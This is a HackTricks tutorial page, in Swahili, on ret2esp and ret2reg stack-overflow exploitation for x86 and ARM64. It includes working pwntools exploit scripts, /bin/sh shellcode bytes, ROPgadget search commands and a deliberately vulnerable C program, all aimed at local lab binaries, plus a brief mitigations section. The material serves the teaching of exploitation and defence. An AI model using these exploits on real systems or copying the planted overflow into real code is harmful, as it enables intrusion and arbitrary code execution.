Ret2esp / Ret2reg

Support HackTricks

Ret2esp

Kwa sababu ESP (Stack Pointer) daima inaelekeza juu ya stack, mbinu hii inahusisha kubadilisha EIP (Instruction Pointer) na anwani ya maagizo ya jmp esp au call esp. Kwa kufanya hivi, shellcode inawekwa moja kwa moja baada ya EIP iliyobadilishwa. Wakati maagizo ya ret yanatekelezwa, ESP inaelekeza kwenye anwani inayofuata, mahali ambapo shellcode imehifadhiwa kwa usahihi.

Ikiwa Address Space Layout Randomization (ASLR) haijashughulikiwa kwenye Windows au Linux, inawezekana kutumia maagizo ya jmp esp au call esp yaliyopatikana kwenye maktaba za pamoja. Walakini, na ASLR ikiwa imewashwa, inaweza kuhitajika kutafuta maagizo haya ndani ya programu yenye kasoro yenyewe (na unaweza kuhitaji kushinda PIE).

Zaidi ya hayo, kuweza kuweka shellcode baada ya uharibifu wa EIP, badala ya katikati ya stack, kuhakikisha kuwa maagizo ya push au pop yanayotekelezwa wakati wa operesheni ya kazi hayavurugi shellcode. Kuvuruga huku kunaweza kutokea ikiwa shellcode ingewekwa katikati ya stack ya kazi.

Ukosefu wa nafasi

Ikiwa unakosa nafasi ya kuandika baada ya kubadilisha RIP (labda tu baadhi ya baiti), andika shellcode ya awali ya jmp kama:

sub rsp, 0x30
jmp rsp

Na andika shellcode mapema kwenye stack.

Mfano

Unaweza kupata mfano wa mbinu hii katika https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp na shambulio la mwisho kama:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Unaweza kuona mfano mwingine wa mbinu hii katika https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Kuna kipeperushi cha kujaza bila NX kuwezeshwa, hutumiwa kifaa cha kupunguza anwani ya $esp na kisha jmp esp; kuruka kwenye shellcode:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Vivyo hivyo, ikiwa tunajua kwamba kazi inarudisha anwani ambapo shellcode imewekwa, tunaweza kutumia maagizo ya call eax au jmp eax (inayojulikana kama mbinu ya ret2eax), ikitoa njia nyingine ya kutekeleza shellcode yetu. Kama eax, daftari lingine lolote lenye anwani ya kuvutia linaweza kutumika (ret2reg).

Mfano

Unaweza kupata mifano hapa:

ARM64

Ret2sp

Katika ARM64 hakuna maagizo yanayoruhusu kuruka kwenye daftari la SP. Inaweza kuwa inawezekana kupata kifaa kinachosonga sp kwa daftari kisha kuruka kwenye daftari hilo, lakini katika libc ya kali yangu sikuweza kupata kifaa kama hicho:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Niliyogundua pekee zitabadilisha thamani ya usajili ambapo sp ilikopiwa kabla ya kuruka kwenda kwake (hivyo itakuwa haifai):

Ret2reg

Ikiwa usajili una anwani ya kuvutia ni rahisi kuruka kwenda kwake kwa kupata maagizo sahihi. Unaweza kutumia kitu kama:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

Katika ARM64, ni x0 ambaye huchukua thamani ya kurudi kwa kazi, kwa hivyo inaweza kuwa kwamba x0 inahifadhi anwani ya buffer inayodhibitiwa na mtumiaji na shellcode ya kutekelezwa.

Mfano wa nambari:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Kwa kuchunguza disassembly ya kazi, ni wazi kuona kwamba anwani ya buffer (inayoweza kudhuriwa na kudhibitiwa na mtumiaji) imehifadhiwa katika x0 kabla ya kurudi kutoka kwa buffer overflow:

Pia ni rahisi kupata kifaa cha br x0 katika kazi ya do_stuff:

Tutatumia kifaa hicho kuruka kwenda kwake kwa sababu binary imekamilika BILA PIE. Kwa kutumia mfano, ni wazi kuona kwamba kielelezo cha buffer overflow ni 80, hivyo shambulio litakuwa:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Ikiwa badala ya fgets ingetumika kitu kama read, ingewezekana kukiuka PIE pia kwa kuweka tu byte za mwisho 2 za anwani ya kurudi kurudi kwenye maagizo ya br x0; bila haja ya kujua anwani kamili. Na fgets haitafanyi kazi kwa sababu inaweka null (0x00) byte mwishoni.

Kinga

  • NX: Ikiwa steki haiwezi kutekelezwa hii haitasaidia kwani tunahitaji kuweka shellcode kwenye steki na kuruka kuitekeleza.

  • ASLR & PIE: Hizi zinaweza kufanya iwe ngumu kupata maagizo ya kuruka kwa esp au usajili mwingine wowote.

Marejeo

unga mkono HackTricks

Last updated